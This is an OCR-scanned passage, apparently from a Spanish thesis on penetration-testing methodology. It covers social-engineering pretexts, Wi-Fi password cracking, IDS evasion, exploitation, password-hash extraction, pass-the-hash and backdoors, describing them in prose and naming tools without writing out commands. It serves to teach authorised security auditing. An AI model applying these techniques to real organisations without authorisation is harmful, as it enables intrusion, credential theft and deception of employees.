debilidades “humanas” inherentes a cualquier organizacion. Cuando usamos la ingeniera
social, el objetivo del atacante es conseguir que un empleado divulgue informacion que
deberia haber seguido confidencial.

Por ejemplo, podemos usarla para mandar un correo a un comercial de la
compafiia auditada con el objetivo de que nos responda y asi poder observar las cabeceras
del correo de respuesta.

Llevandolo un paso maés alla, supongamos que el comercial estd de viaje y el
correo que recibimos es una respuesta automatica que dice: “Ausente de la oficina dos
semanas por vacaciones, con acceso limitado al correo”. Un ejemplo clésico de ingenieria
social seria hacerse pasar por el comercial y llamar al servicio técnico de la compafiia
pidiendo ayuda para recuperar nuestra contrasefia ya que estamos de viaje y no
conseguimos acceder a nuestro correo electronico. Si todo sale bien y conseguimos la
contrasefia tendriamos acceso al correo del comercial y, si usa la misma contrasefia para
otros servicios, puede que también acceso al VPN o al FTP de la compafiia.

Otra forma de ingenieria social seria dejar un pendrive USB o un CD dentro o
cerca de la empresa objetivo para que lo encuentre un empleado, por ejemplo, en el
parking, los bafios o la recepcion. El empleado normalmente introducira el pendrive o el
CD en su PC para ver gque contiene, lanzando automéaticamente el troyano que habriamos
introducido previamente, dejando asi expuesta una via de acceso a la organizacion.

Esta es solo una de las muchas aplicaciones posibles en la fase de recogida de
informacidn, pero la ingeniera social puede ser usada en varias fases de la auditoria con
diferentes objetivos. [9] [7]
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Mencidn aparte merecen las herramientas dedicadas a la recogida de informacion
en redes Wi-Fi como Kismet o Airodump-ng que nos permiten detectar tanto las redes
que transmiten su SSID como las que no lo hacen, ademéas estas herramientas nos
proporcionan otra informacion como el tipo de encriptacion usada (WEP, WPA, WPA2),
la direccion MAC del emisor y el canal en el que se esta transmitiendo. En sintesis, toda
la informacion necesaria para atacar la red.

Tambien debemos fijarnos en las direcciones MAC de clientes conectados, puesto
que si la red tuviera filtrado por MAC con esa informacion podriamos suplantar a un
usuario autorizado. Para este propdsito es muy util la aplicacion Macchanger que nos
permite cambiar la direccion MAC de nuestro adaptador Wi-Fi libremente. [9]

Una vez usadas todas las herramientas anteriores, debemos revisar la enorme
cantidad de informacion recogida. Es una buena practica crear una lista en la que se
encuentren todas las direcciones IP y crear otras listas para direcciones de correo,
nombres de dominio y URLSs.

Cuando tengamos recopilados y ordenados todos los datos, es vital que
recordemos el alcance que nos ha sido autorizado previamente, ya que no todas las IP
conseguidas estaran dentro de dicho alcance. En ese momento, debemos contactar con la
empresa contratante para incrementar el alcance de ser necesario o quitar las IP
conseguidas que estén fuera de él. [12] [9] [7]

No debemos olvidar que, aunque la recogida de informacién es la fase menos
técnica de un test de penetracion, no debe ser pasada por alto, ya que, cuanta mas
informacion consigamos, mayor posibilidad de éxito tendremos en fases posteriores como
la de modelado de amenazas al poder determinar con mayor exactitud los riesgos a los
que esta expuesta la organizacion. [12]

2.3 MODELADO DE AMENAZAS

“El analisis de modelo de amenazas (TMA) es un analisis que ayuda a determinar
los riesgos de seguridad que pueden acaecer en un producto, aplicacion, red o entorno,
asi como la forma en la que aparecen los ataques. El objetivo consiste en determinar
cuales son las amenazas que requieren mitigacion y los modos de hacerlo.” [16]

Para tratar estas cuestiones nos basamos de nuevo en el PTES. Sin embargo, dado
que este no especifica ninguna metodologia de modelado de amenazas (pues solo indica
que debe ser consistente y repetible en test sucesivos), no nos detendremos sino en sus
aspectos mas generales, dado que excede el proposito del presente trabajo. No obstante,
podemos encontrar metodologias mucho mas especificas como la usada por Microsoft en
su SDL (Security Development Lifecycle) o el OSSTMM (ambas disponibles en la red).

El PTES se centra en dos elementos del modelado de amenazas tradicional,
activos y atacantes. Los activos ademas se subdividen en activos del negocio (empleados,
pagina web...) y procesos del negocio.

Cuando modelamos la parte del atacante debemos tener en cuenta el valor de los
activos disponibles y cuanto le costaria al atacante obtenerlos. Ademas, debemos realizar
un analisis de impacto para conseguir una vision mas clara de las consecuencias de perder
un activo.

La fase de modelado de amenazas es fundamental tanto para el auditor como para
la organizacion, ya que permite clarificar qué activos y grupos de riesgo son mas
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importantes, por ejemplo, ;qué posibilidades hay de que un grupo de activistas (de
cualquier indole) decida tumbar la pagina web de la organizacion? Esto nos permite
centrarnos en disefiar un ataque que sea lo més parecido al perfil y conocimientos
esperados del atacante.

El modelo debe construirse cooperativamente con la organizacion auditada
siempre que sea posible y aun en un entorno de caja negra el auditor debe crear un modelo
basado en el punto de vista del atacante con la informacion obtenida mediante OSINT.

El proceso de modelado de amenazas, en lineas generales, seria:
1. Recopilar informacion relevante

2. ldentificar y categorizar en activos principales y secundarios
3. Identificar y categorizar amenazas y grupos de riesgo

4. Emparejar los grupos de riesgo con los activos

A continuacion, explicaremos brevemente a qué aludimos al hablar de activos y
procesos del negocio.

Durante el anélisis de activos del negocio, debemos revisar toda la documentacion
recopilada y reunirnos con los administradores de la organizacion para que, asi, el auditor
sea capaz de identificar que activos es mas probable que elija un atacante, qué valor tienen
y qué impacto tendria su pérdida parcial o total.

Algunos de los activos que deberian tenerse en cuenta son:

- Informacion de productos: patentes, planes futuros, codigo fuente y cualquier
otra informacion que la organizacion considere importante para el éxito de un
producto.

- Estrategias de marketing: en este ambito, los planes sobre promociones,
lanzamientos o0 asociacion con otra empresa son objetivos muy buscados.

- Datos financieros: puede incluir informacion sobre cuentas, tarjetas de crédito,
0 inversiones, entre otras.

Otros datos que también hay que tener en cuenta son los de los empleados y los
clientes, ya que podrian ser objeto de investigacién y la pérdida de sus datos podria
comprometer la seguridad de la compafiia. Algunos de los datos considerados sensibles
son:

- Datos identificativos (DNI, fotografia, teléfono, lugar de residencia...)
- Informacion médica

- Informacion financiera (cuentas bancarias, némina...)

- Informacion sobre proveedores

Asimismo, no hay que olvidar el componente humano de la organizacion. Los
recursos humanos que deben ser identificados como activos del negocio son todos
aquellos que: puedan ser engafiados para divulgar informacion, manipulados para tomar
decisiones que afectarian adversamente a la compafiia o que puedan permitir al atacante
acceso a la organizacion. Hay que puntualizar que estos activos humanos no tienen por
qué pertenecer necesariamente a la direccién de la empresa, sino simplemente estar
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relacionados con otros activos encontrados previamente o en posicién de permitir acceso
a estos.

Sin duda, los activos que mas interesan al auditor son los relacionados con la parte
técnica de la organizacién, puesto que la informacién sobre estos puede ser muy valiosa
en la fase de recogida de informacidn. Asi pues, algunos de los activos en los que debemos
fijarnos son:

- Disefio de la infraestructura. Se trata de las tecnologias y/o equipamiento que
se usan en la organizacién como sucede con los planos, diagramas de cableado
0 conectividad, listas de equipamiento informatico, mapas de red o
aplicaciones usadas a nivel de usuario que forman parte del disefio de la
infraestructura.

- Configuracion de los sistemas. Esta informacion permite descubrir
vulnerabilidades a través de errores de configuracion o versiones antiguas de
software. Esto incluye, documentacion sobre la configuracion base de los
equipos, listas de comprobacién de la configuracion, procedimientos de
securizacioén y politicas de grupo e inventarios de software.

- Credenciales de usuario. Las credenciales para diferentes servicios (VPN,
portal web...) permiten acceso a informacion sobre la organizacion bien sea
con privilegios de usuario o administrador, en cuyo caso, podria significar el
acceso total a la organizacion.

En cuanto a los procesos de negocio, podemos sefialar que son importantes ya que
un negocio lo es si genera ganancias. Estas Gltimas se consiguen al hacer que materias
primas o conocimientos pasen a través de una serie de procesos para mejorarlos y crear
valor afadido -en forma de producto o servicio-. De este modo, los procesos de negocio
y los activos del negocio (personas, tecnologia...) forman cadenas de valor. Sabiendo
cuéles son estas cadenas y encontrando sus imperfecciones, entenderemos como funciona
el negocio y cdmo podrian los diferentes grupos de riesgo hacer que la compariia pierda
dinero.

Segun el PTES hay tres categorias de procesos de negocio:
- Relacionados con la infraestructura técnica

- Relacionados con la gestion de la informacion

- Relacionados con los recursos humanos

Cuando definimos los grupos de riesgo, debemos tener claro si la amenaza es
externa o interna, a qué grupo o grupos pertenece y cualquier informacion adicional que
nos ayude a establecer las capacidades o motivaciones de ese grupo. Algunos ejemplos
de grupos de riesgo pueden ser vistos en la tabla 1 bajo estas lineas:

Internos Externos

Empleados Socios empresariales

Direccion o Gerencia Competidores

Administradores (de red, sistemas, servidores) Contratistas

Desarrolladores Proveedores

Técnicos Crimen organizado
Activistas

Tabla 1: Grupos de riesgo segun su ubicacién
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Una vez hemos identificado un grupo de riesgo, debemos analizar las capacidades
de dicho grupo para crear un modelo de amenazas que refleje la probabilidad de que un
ataque por su parte resulte exitoso. Para ello debemos tener en cuenta varios aspectos:

- Herramientas en uso. Esto incluye cualquier herramienta que sepamos que es
usada por ese grupo. Ademas, cualquier herramienta que sea libremente
accesible debe ser tenida en cuenta dependiendo de la habilidad necesaria para
utilizarla.

- Acceso a exploits/payloads. Debemos analizar la capacidad del grupo de
riesgo para obtener o desarrollar exploits que puedan ser peligrosos para la
organizacion. Asimismo, el acceso a dichos exploits/payloads a través de
terceras partes también debe contemplarse.

- Mecanismos de comunicacion usados. Estos varian desde tecnologias
comunmente usadas como encriptacién hasta mecanismos mas complejos
como bulletproof hosting, uso de sitios de recogida o uso de botnets.

- Acceso. El ultimo aspecto en que debemos fijarnos es la capacidad del grupo
de riesgo para acceder a la organizacion o a un activo en concreto.

Para finalizar este apartado, es importante conocer los motivos que los grupos de
riesgo pueden tener para querer dafar la organizacion. La mayoria de ellos se relacionan
con:

- Lucro (directo o indirecto)

- Activismo

- Resentimiento

- Diversion o mejora de reputacion

- Acceso a socios o sistemas conectados

Una vez finalizada esta fase debemos tener claro cuéles son los activos principales
y secundarios, los principales grupos de riesgo y sus habilidades, asi como estrategias de
mitigacion para los riesgos mas probables.

2.4 ANALISIS DE VULNERABILIDADES

Atendiendo a la definicién proporcionada por [10] “una vulnerabilidad de
seguridad es una debilidad en un producto que podria permitir a un usuario
malintencionado comprometer la integridad, disponibilidad o confidencialidad de dicho
producto”. Por lo tanto, un andlisis de vulnerabilidades consistira en la busqueda de estas
debilidades. Esta fase estd muy relacionada con la de recogida de informacion e incluso
comparten algunas herramientas, lo que las diferencia es el enfoque.

Basandonos en [10], que a su vez se basa en [7], podemos dividir esta fase en tres
apartados: pruebas, validacion e investigacion.

A su vez, el apartado de pruebas puede ser dividido en dos: activas y pasivas. Para
la realizacion de las pruebas activas es necesaria la interaccion directa con el componente
a auditar. Esta interaccion puede ser automatica o manual.

La interaccién automatizada consiste en el uso de herramientas que escanean
servicios realizando ciertas peticiones para examinar sus respuestas y asi encontrar
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indicios de vulnerabilidad. Las herramientas automatizadas pueden ser de cuatro tipos.
[10] [7]

El primero son los escaneres genéricos, que permiten identificar versiones de
servicios con vulnerabilidades conocidas. Pertenecen a esta categoria los escaneres de
puertos, servicios y banners. Uno de los maximos exponentes de esta categoria es Nmap.

Ademas de las funciones mencionadas en la fase de recogida de informacion como
descubrir si un puerto esta abierto o cerrado, Nmap también nos permite averiguar qué
servicio esta escuchando en dicho puerto. Si, ademas, utilizamos NSE tendremos acceso
a funciones avanzadas que la herramienta original no cubre como deteccion de versiones
y servicios no basada en el banner; deteccion de vulnerabilidades e, incluso, explotacion
de vulnerabilidades. [12] [7] [10]

Asimismo, hay algunas herramientas centradas completamente en la bisqueda de
vulnerabilidades como OpenVAS, Nessus y Nexpose.

Estas herramientas realizan un analisis de vulnerabilidades automatizado de forma
transparente al usuario. Normalmente solo necesitaremos proporcionar una IP 0 un rango,
los puertos que queramos escanear Yy la agresividad de las pruebas. El problema de estas
herramientas es que poseen un grado de abstraccion alto que impide al usuario saber que
esta haciendo exactamente la herramienta. [9] [7]

El segundo tipo son los escaneres de aplicaciones web, que pueden clasificarse
segun su funcionamiento. En primer lugar, los que se basan en rastrear todos los enlaces
del servidor buscando malas configuraciones o posibilidad de inyeccion de codigo v, en
segundo lugar, aquellos que buscan un listado de directorios y archivos asociados con
vulnerabilidades conocidas. En esta Ultima categoria quedaria englobada la herramienta
Nikto nombrada en la fase de recogida de informacion y también Burp Suite muy
conocida en el &mbito de la auditoria web.

La herramienta Burp Suite permite encontrar vulnerabilidades del tipo XSS o SQL
Injection entre otras ademas de poder realizar un escaneo activo que es capaz de visitar
todos los enlaces de un sitio web y realizar las pruebas necesarias para la deteccion de
todo tipo de vulnerabilidades y errores de configuracion. [10] [12]

El tercer tipo de escéner, normalmente llamado escéner de vulnerabilidades de
red, es especial ya que analiza protocolos para los que no estan preparados los escaneres
genéricos como VPN o IPv6. Yersinia es una herramienta perteneciente a este apartado
que permite analizar en busca de vulnerabilidades en protocolos tan diversos como STP,
CDP, ISL o VTP entre otros. [10]

Por altimo, debemos mencionar los escaneres VolP. Este caso es similar al
anterior excepto porque al ser protocolos para el transporte de voz hacen falta
herramientas especificas para, por ejemplo, pinchar conversaciones. En este sentido,
podemos usar la herramienta Wireshark para capturar y reproducir una conversacion
VolP siempre que sea sobre un protocolo soportado por la herramienta y no encriptado.
[17]

Tambien debemos tener en cuenta la evasion de IDS, IPS y WAF, para ello
debemos evitar un comportamiento regular y predecible de las herramientas
automatizadas para evitar la deteccion. Asi pues, debemos hacer que las herramientas
tengan un comportamiento aleatorio: variando la IP de salida; alternando el analisis de
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puertos entre diferentes equipos en lugar de probar todos los de un solo equipo; variando
la velocidad de escaneo, etcétera. [10] [7]

En el andlisis pasivo de vulnerabilidades usamos las mismas herramientas que en
la fase de recogida de informacion pasiva excepto porque no buscamos conseguir
informacidén, sino encontrar comportamientos extrafios o datos en la informacion
recopilada que puedan significar una vulnerabilidad. [10] [7]

Tras realizar pruebas con distintas herramientas surge la necesidad de validar sus
resultados. Por lo tanto, deberemos comprobar si los resultados de los escaneres
automatizados y las pruebas manuales coinciden, asi como analizar por separado y
manualmente algunos protocolos como VPN, Citrix, DNS, etcétera con herramientas
especiales. [10] [7]

A continuacion, debemos asegurarnos de no obviar ningun vector de ataque
posible. Para ello es muy dtil la elaboracion de arboles de ataque que ademéas nos
ayudaran en la realizacién del informe, la fase final de la auditoria. EI arbol de ataque
debe ser actualizado cada vez que se descubran nuevos sistemas o servicios vulnerables
ya que Nnos proporcionara una guia a seguir en la siguiente fase, la de explotacion. [10]

[7]

La ultima parte de un analisis de vulnerabilidades es la investigacion. Tras
identificar una vulnerabilidad, necesitaremos conocer su gravedad y sus posibilidades de
explotacion. En muchos casos, la vulnerabilidad seré un error de c6digo en una aplicacién
software, pero en otros casos puede ser una mala configuracion o el uso de contrasefias
por defecto. [10] [7]

Normalmente, el primer sitio al que debemos acudir en busca de informacion
sobre una vulnerabilidad es a una base de datos de vulnerabilidades. La mayoria de
herramientas usan un identificador CVE (Common Vulnerabilities and Exposures) para
identificar una vulnerabilidad concreta.

Los CVE son referencias para identificar una vulnerabilidad concreta. EI formato
usado para identificar los elementos de la lista es, CVE-YYYY-NNNN donde las Y
indican el afio de descubrimiento de la vulnerabilidad y las N el nimero de vulnerabilidad.
Debido al aumento de vulnerabilidades descubiertas se puede ampliar el nimero mas alla
de las cuatro cifras en caso de ser necesario. [18]

Estos identificadores son muy utiles para ampliar informacion en bases de datos
de vulnerabilidades como National Vulnerability Database [19] y Bugtraq [20] o para
encontrar un exploit en una base de datos de exploits. Esto es importante porque, por
ejemplo, puede existir una vulnerabilidad que solo funciona en la version Windows del
servidor web Apache, pero no en su version Linux, este hecho podria pasar desapercibido
a un escaner automatizado. [10] [7]

A menudo, los administradores eligen contrasefias débiles, no cambian las
contrasefias por defecto e, incluso, no usan contrasefia alguna. En la pagina web del
vendedor y en foros especializados es coman encontrar listas de contrasefias por defecto
para un producto o errores de configuracion comunes. [10] [7]

Otro sitio donde podemos encontrar informacion importante como es la
configuracién por defecto y errores de configuracion es en las guias de fortificacion ya
que sefialan las partes mas débiles de un sistema o programa. Las listas de correo y los
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foros también proporcionan informacidn valiosa sobre los problemas que suelen tener los
administradores configurando y securizando un sistema. [10] [7]

Por ultimo, no debemos obviar las vulnerabilidades relacionadas con la red Wi-Fi
ya que es un punto de acceso a la red de la organizacion que puede ser facilmente
explotado si no esta correctamente configurado.

Uno de los primeros aspectos en los que fijarnos es el tipo de encriptacion usada,
ya que si es cualquier tipo de WEP 0 WPA-PSK existen formas rapidas de conseguir la
contrasefia a causa de la mala implementacion de estos estandares. WPAZ2 es el Unico
estandar para el que todavia no se ha encontrado un método més réapido de recuperacion
de la contrasefia que el uso de diccionarios o fuerza bruta.

Existen diferentes ataques contra WEP como los de tipo FMS, PTW o chop-chop
pero todos ellos son facilmente realizables utilizando las herramientas de la suite
Aircrack-ng, por ejemplo, airmon-ng para activar el modo monitor en la tarjeta
inalambrica, airodump-ng para capturar los IV y aireplay-ng para reinyectarlos.

El caso de WPA-PSK es diferente puesto que para romper la contrasefia no son
necesarios Vs sino que puede hacerse de forma local una vez hayamos conseguido el
four-way-EAPOL-handshake. Este handshake es generado normalmente cuando un
usuario que conoce la contrasefia se conecta al punto de acceso y puede ser capturado. En
caso de que esto no ocurra podemos desautenticar a un usuario ya conectado usando
aireplay-ng para forzar la reconexion.

Una vez conseguido el handshake podemos usar la herramienta CoWPALtty para
automatizar el ataque por diccionario al que es vulnerable WPA-PSK. Debido a que WPA
usa 4096 iteraciones del algoritmo SHA1 para la creacién del hash, la creacién de hashes
para comparar con el capturado puede resultar lenta. Ademas, durante la creacion del hash
se utiliza el SSID del punto de acceso como salt por lo que no se pueden utilizar tablas
de hashes ya creados a menos que tengan el mismo SSID.

El salt se utiliza como entrada en la funcién de hash junto con la contrasefia para
dificultar los ataques por diccionario. Existen tablas de hashes ya computados para los
SSID mas comunes, pero en caso de no estar el SSID en alguna de las tablas podemos
crearlas usando la herramienta genpmk. Este proceso puede acelerarse utilizando tarjetas
graficas y cloud computing como comentaremos en la fase de post-explotacion. Debemos
resaltar que solo es posible romper la contrasefia en sistemas WPA-PSK ya que no hay
vulnerabilidades conocidas en WPA-RADIUS.

Por otra parte, existe un ataque que afecta a cualquier punto de acceso que utilice
WPS incluso a los que utilicen WPAZ2. Esto es posible porque el funcionamiento de WPS
consiste en realizar la primera conexién con el punto de acceso con un pin de 8 digitos en
lugar de con el protocolo y contrasefia configurados. El hecho de reducir la complejidad
a 8 digitos unido a otros errores del protocolo hace que la duracion de un ataque por fuerza
bruta sea menor a un dia en un equipo actual. Una herramienta creada especialmente para
realizar este ataque es Reaver. [18]

Para finalizar con el apartado de Wi-Fi nos gustaria hablar sobre CROZONO, un
framework que nos permite usar drones y robots en un test de intrusion. El framework
tiene multitud de opciones y es capaz de realizar parte del pentest de forma autdbnoma si
esta correctamente configurado, pero en nuestro caso solo nos centraremos en sus posibles
usos relacionados con el Wi-Fi.
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Por ejemplo, podria usarse junto con un receptor GPS para geolocalizar los puntos
desde los que es accesible la red inalambrica en el exterior de la organizacion y saber, asi,
la cobertura de la misma. Otra posibilidad seria programar el dron para recoger toda la
informacidn posible sobre la red Wi-Fi e intentar llevar a cabo alguno de los ataques
comentados anteriormente en caso de ser vulnerable a ellos. [21]

Otro vector de ataque mencionado en los medios de comunicacién es utilizar un
dron para acceder a impresoras Wi-Fi sin proteccion en las plantas superiores de un
edificio que suelen quedar desprotegidas ya que se suele considerar que, al no ser
accesibles en la planta baja, no es necesario cambiar la configuracion por defecto. [22]

Tras realizar todos los pasos anteriores tendremos una lista de posibles
vulnerabilidades ordenadas segun su gravedad que podremos organizar en un arbol de
ataque que usaremos en la fase de explotacion.

2.5 EXPLOTACION

En general, entendemos la explotacion como el proceso de obtener control sobre
un sistema, aunque es importante sefialar que no todos los exploits tienen como resultado
el acceso total al sistema.

Una definicion mas exacta sefiala que un exploit es una herramienta para
aprovechar un fallo de seguridad. Este proceso puede tomar formas muy variadas, pero
en este trabajo el objetivo final sera siempre el mismo: lograr acceso administrativo a un
equipo.

Asi pues, un exploit es un programa que permite al atacante ejecutar un payload
en el equipo objetivo. Los payloads pueden alterar el funcionamiento de un software y
permiten realizar todo tipo de acciones, como instalar nuevo software, desactivar
servicios en funcionamiento, afadir usuarios, abrir puertas traseras al equipo y mucho
mas. De ahora en adelante consideraremos exploit y payload como equivalentes. [12]

Los exploits aprovechan errores como el off-by-one error o expansion Unicode
incorrecta, asi como errores que causan corrupcién de memoria como el buffer overflow
o el format string exploit para realizar acciones no planeadas por el creador del programa.
El objetivo de estos exploits es tomar el control del flujo de ejecucion del programa y
forzarlo a ejecutar codigo que hemos introducido previamente en memoria. Este proceso
es conocido como ejecucion de codigo arbitrario, ya que el atacante puede provocar que
el programa haga practicamente cualquier cosa. [23]

De todas las fases de una auditoria de seguridad, la explotacién es probablemente
la m&s amplia dado el gran abanico de opciones y herramientas disponibles para
completar el proceso. Esto es asi porque cada sistema es diferente y cada objetivo es
unico, por lo cual los vectores de ataque variaran de un equipo a otro dependiendo de su
sistema operativo, los servicios en funcionamiento, software instalado, etc.

Debido a la gran cantidad de herramientas disponibles solo explicaremos
brevemente el conjunto de herramientas mas conocido y utilizado en esta fase: Metasploit.

Metasploit es un framework dedicado a desarrollar y ejecutar exploits, ademas
ayuda en el proceso de desarrollo al proporcionar unas directrices sobre como deben
crearse las piezas que forma un exploit y como deben interactuar entre ellas. El framework
también posee herramientas que permiten realizar docenas de funciones diferentes,
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incluyendo algunas pertenecientes a otras fases (como por ejemplo realizar un escaneo de
puertos). [12]

Segun [24] los exploits pueden dividirse dependiendo de su complejidad en tres
tipos:

- Singles, son auto contenidos y completamente autbnomos. Pueden realizar
acciones simples como afiadir un usuario a un equipo 0 ejecutar un
programa.

- Stagers, este tipo realiza una conexion entre el atacante y el objetivo y
estan disefiados para ser pequefios y confiables. Son usados por los de tipo
Staged para introducirse en huecos de memoria donde realizar la
explotacion.

- Staged, estos payloads son descargados por los de tipo Stagers y permiten
funciones avanzadas como Meterpreter o inyeccién VNC.

Otro aspecto que debemos tener en cuenta al elegir un exploit es si esta disefiado
para evadir DEP. EI cometido de este sistema es dejar claro al procesador que son datos
y que cddigo en memoria, el atacante tal vez consiga inyectar codigo, pero no podra
ejecutarlo. Esto es importante ya que como apunta [25] “Cuando un atacante aprovecha
un desbordamiento, lo que hace es inyectar en esa memoria del proceso un flujo
hexadecimal de informacion. Si este flujo se interpreta como instrucciones, el procesador
se pondra a trabajar y el atacante conseguird su objetivo”.

Ademas de los exploits, hay otras formas de conseguir acceso no autorizado a un
equipo, por ejemplo, podriamos aprovechar la existencia de servicios de acceso remoto
como SSH o VNC en el equipo auditado. Para acceder a estos servicios existen
herramientas como Medusa o Hydra, que son rompedores de contrasefias online, es decir,
funcionan realizando un ataque por diccionario o fuerza bruta a los servicios de acceso
remoto. Las probabilidades de éxito aumentan exponencialmente si combinamos estas
herramientas con la informacion obtenida en la fase de recogida de informacién como
nombres de usuario, correo electronico, etc. Debemos sefialar que algunos de estos
servicios tienen un limite de logins incorrectos y que pueden bloquear la IP que realiza
los intentos o el usuario usado. [12]

Asimismo, existe una técnica conocida como evilgrade que puede
proporcionarnos acceso a un equipo totalmente actualizado y sin ningin exploit conocido.
Este ataque consiste en hacer creer al equipo atacado que hay una actualizacién disponible
de alguna de las aplicaciones que tiene instaladas y al intentar actualizarla descargara e
instalara la herramienta que nosotros deseemos (normalmente un backdoor).

Esto es posible porque la mayoria de actualizaciones no estan encriptadas y las
aplicaciones no usan certificados para asegurar que el emisor es correcto. Para realizar el
ataque necesitariamos tener el control del trafico de la victima (por ejemplo, mediante un
MITM), lo que nos permitiria suplantar al servidor al que el equipo esta pidiendo la
actualizacion y asi conseguiriamos nuestro objetivo.

La herramienta méas usada para realizar este ataque es evilgrade. Este framework
permite automatizar parte del proceso para aprovechar que aplicaciones como Winzip,
OpenOffice, iTunes o Safari, entre muchas otras, no comprueban que la actualizacion
provenga realmente de un emisor de confianza. [26]
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Como hemos comentado anteriormente, no todos los exploits conceden acceso
total al sistema, puede ocurrir que se obtenga acceso al sistema con un usuario sin
privilegios, dado que nuestro objetivo es conseguir acceso administrativo deberemos
efectuar lo que se conoce como escalado de privilegios. Existen muchas formas de
realizarlo, aprovechar una vulnerabilidad interna solo explotable desde dentro del equipo
o romper los hashes de las contrasefias almacenadas en el equipo son algunas de las mas
comunes. [12]

Antes de poder romper los hashes de las contrasefias debemos localizar el archivo
donde se almacenan, en sistemas Windows se guardan en un archivo especial llamado
SAM que en sistemas Windows 2000 y superiores estd situado en la carpeta
C:\Windows\System32\Config\. Dado que este archivo contiene informacion muy
importante posee varias medidas de seguridad. [25]

La primera es que este archivo queda bloqueado cuando el sistema operativo se
inicia por lo que no se puede abrir ni copiar, la segunda es que el archivo esta encriptado.
Una forma de evitar estas restricciones, si se tiene acceso fisico al equipo, seria utilizar
un Live CD para iniciar el sistema, dado que Windows no llega a iniciarse tampoco
bloquea el acceso a la SAM. Ahora tenemos el archivo, pero este sigue encriptado, para
desencriptarlo necesitamos el archivo system situado en la misma carpeta que la SAM y
una herramienta como Samdump?2 que usando los dos archivos nos proporcionara los
hashes que normalmente estaran en formato NTLM. [25]

Ademas, existe la posibilidad de conseguir los hashes de forma remota y con el
equipo en funcionamiento. Para ello, usaremos herramientas como pwdump que funciona
conectandose al proceso LSASS que es el encargado de autorizar y manejar las
contrasefas introducidas en el sistema y extrayendo los hashes. [25]

En el caso de sistemas Linux y OS X las contrasefias estan situadas en el llamado
shadow file localizado en la carpeta /etc/shadow, este archivo, como su homologo en
Windows, esta encriptado y ademas solo es accesible para usuarios con privilegios de
administrador. Esto podria representar un problema si no fuera por la existencia de un
archivo localizado en /etc/passwd que normalmente es legible para todos los usuarios y
que podemos utilizar junto con una funcién especial de la herramienta John The Ripper
para combinarlo con el shadow file y obtener los hashes originales que suelen estar en
formato SHA. [12]

Una vez obtenidos los hashes e independientemente del sistema operativo,
usaremos una herramienta como el anteriormente mencionado John The Ripper para
romper la contrasefia. Esto no es directamente posible ya que es imposible revertir una
funcion de hash para obtener la palabra que la origind, pero si es posible usar la funcién
hash sobre un diccionario 0 mediante fuerza bruta para comparar el resultado obtenido
con el hash extraido del equipo auditado dado que no hay dos palabras que tengan como
resultado el mismo hash. [12]

Existen varios métodos para acelerar la generacion de hashes pues utilizando un
solo procesador, aun con varios nudcleos, suele ser un proceso lento y en ocasiones
imposible. Uno de estos métodos es usar la potencia de célculo en paralelo que
proporcionan las tarjetas graficas modernas mediante la herramienta oclHashcat que
puede acelerar la generacion de hashes en un factor 10 o 100 e incluso mas dependiendo
de la cantidad de tarjetas graficas disponibles. [9]
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Otro método novedoso es el uso del cloud computing como el proporcionado por
Amazon Web Services que nos permite alquilar por meses, dias o incluso horas la
capacidad de proceso que necesitemos. La herramienta a usar para generar los hashes es
la misma, aunque requiere de un mayor tiempo de configuracién. Este método puede ser
atil si no disponemos de las tarjetas graficas necesarias ya que es una buena solucion en
relacién con su coste/beneficio. En caso de utilizar constantemente una capacidad de
proceso alta seria més econdmico optar por la anterior opcion. [27]

Como hemos visto anteriormente, las contrasefias en Windows son almacenadas
normalmente en forma de hash y deben ser obtenidas en texto plano recurriendo a
diccionarios o fuerza bruta para poder ser utilizadas. Sin embargo, existe una tercera
opcidn, el atague Pass The Hash.

Este ataque permite autenticarse en un equipo o servicio usando un hash obtenido
previamente en otro equipo (siempre y cuando el usuario y la contrasefia coincidan). Esto
es muy util, dado que si conseguimos el hash de administrador de un equipo es posible
que podamos usarlo en otros equipos de la organizacion pues probablemente el
administrador no haya cambiado la contrasefia para cada equipo. De este modo, si
estuviéramos en un dominio y obtuviéramos un hash de administrador de dominio la
auditoria finalizaria porque tendriamos acceso a todos los equipos y carpetas en red.

Existen varias herramientas para realizar este ataque como Windows Credential
Editor o el mddulo psexec de Metasploit, también podemos utilizar PStools para ejecutar
procesos de forma remota con dichas credenciales. [18]

Del mismo modo, otra forma de escalar privilegios es escuchar la red, si
escuchamos todo el trafico entrante y saliente del equipo auditado es posible que
encontremos informacion que nos permita obtener privilegios de administrador. La
herramienta mas utilizada para esta tarea es Wireshark, el famoso analizador de
protocolos. Este programa nos permite capturar trafico y analizarlo posteriormente,
ademas, cuenta con un potente sistema de filtros para extraer solo la informacién que
necesitemos. [6] [12]

Por otro lado, no debemos olvidar que en una auditoria ademas de PC y servidores
también existen routers, switches y demas equipamiento de red que también puede ser
explotado. Es comUn encontrar contrasefias por defecto en el equipamiento anteriormente
nombrado, pero también en impresoras de red o sistemas de almacenamiento de copias
de seguridad. Solemos creer que estos equipos son solo hardware, pero suelen contar con
un motor web para configuracién y otros servicios que podrian contener vulnerabilidades.
[10]

Por Gltimo, debemos tener en cuenta que al utilizar exploits encontrados en
internet existe la posibilidad de que el exploit haga mas de lo que dice su autor o que no
funcione correctamente, pudiendo provocar dafios inesperados e irrecuperables en el
equipo auditado, por lo que se aconseja probar cualquier exploit en un entorno controlado
antes de usarlo en el equipo real. [6]

Una vez hayamos conseguido el nivel de acceso deseado (normalmente de tipo
administrativo) podremos continuar a la siguiente fase, la de post-explotacion.
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2.6 POST-EXPLOTACION

El objetivo de la fase de post-explotacion es determinar el valor de la maquina
auditada y mantener el control sobre ella. Su valor depende de la importancia de los datos
almacenados y de lo Util que pueda ser en futuros ataques a equipos de la misma red. Para
ello debemos conocer la configuracion del equipo, los canales de comunicacion
disponibles y los equipos accesibles a través de ellos. [7]

Esta fase puede ser dividida a grandes rasgos en tres apartados: mantenimiento del
acceso, obtencion de informacion y cubrir huellas. [6]

La mayoria de los exploits no son persistentes, es decir, si una vez ejecutado el
exploit y conseguido el acceso al equipo hubiera un corte de luz, una caida de red o incluso
un simple reinicio tendriamos que volver a realizar todo el proceso de explotacién, que,
en ocasiones, puede llevar horas. Para evitarlo, el primer paso en la fase de post-
explotacion es mantener el acceso y para conseguirlo es comun el uso de backdoors. [7]

Un backdoor es un tipo de herramienta que podemos instalar en el equipo atacado
para acceder remotamente, algunos de los méas usados son el polifacético Ncat y Cryptcat.
Esta Gltima es una variante de Ncat que usa un canal de datos cifrado para evadir los
sistemas de seguridad de la organizacion auditada.

El funcionamiento de ambas para usarlas como backdoor es el mismo, ncat puede
funcionar tanto en modo cliente como en modo servidor, por lo cual solo tendremos que
instalarlo, elegir un numero de puerto y configurarlo para que proporcione una linea de
